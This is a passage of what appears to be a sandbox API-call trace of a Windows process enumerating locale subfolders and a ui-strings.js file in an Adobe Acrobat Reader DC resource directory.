cAlternateFileName="")) returned 1 [0126.920] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0126.920] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0126.920] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0126.920] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0126.920] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0126.920] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0126.920] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec640) returned 1 [0126.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec600) returned 1 [0126.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec700) returned 1 [0126.921] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls", nBufferLength=0x105, lpBuffer=0x1ffec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls", lpFilePart=0x0) returned 0x62 [0126.921] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\*", lpFindFileData=0x1ffec420 | out: lpFindFileData=0x1ffec420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.922] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.922] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0126.922] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0126.922] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0126.923] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0126.923] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0126.923] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0126.923] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0126.923] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0126.923] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0126.923] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0126.923] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0126.924] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0126.924] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0126.924] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0126.924] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0126.924] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0126.924] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0126.924] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0126.924] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0126.924] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0126.925] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0126.925] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0126.925] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0126.925] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0126.925] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0126.925] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0126.925] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0126.925] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0126.925] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0126.926] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0126.926] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0126.926] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0126.926] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0126.926] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0126.926] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0126.926] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.926] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec640) returned 1 [0126.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec600) returned 1 [0126.927] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x70 [0126.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec4b0) returned 1 [0126.927] GetFileAttributesExW (in: 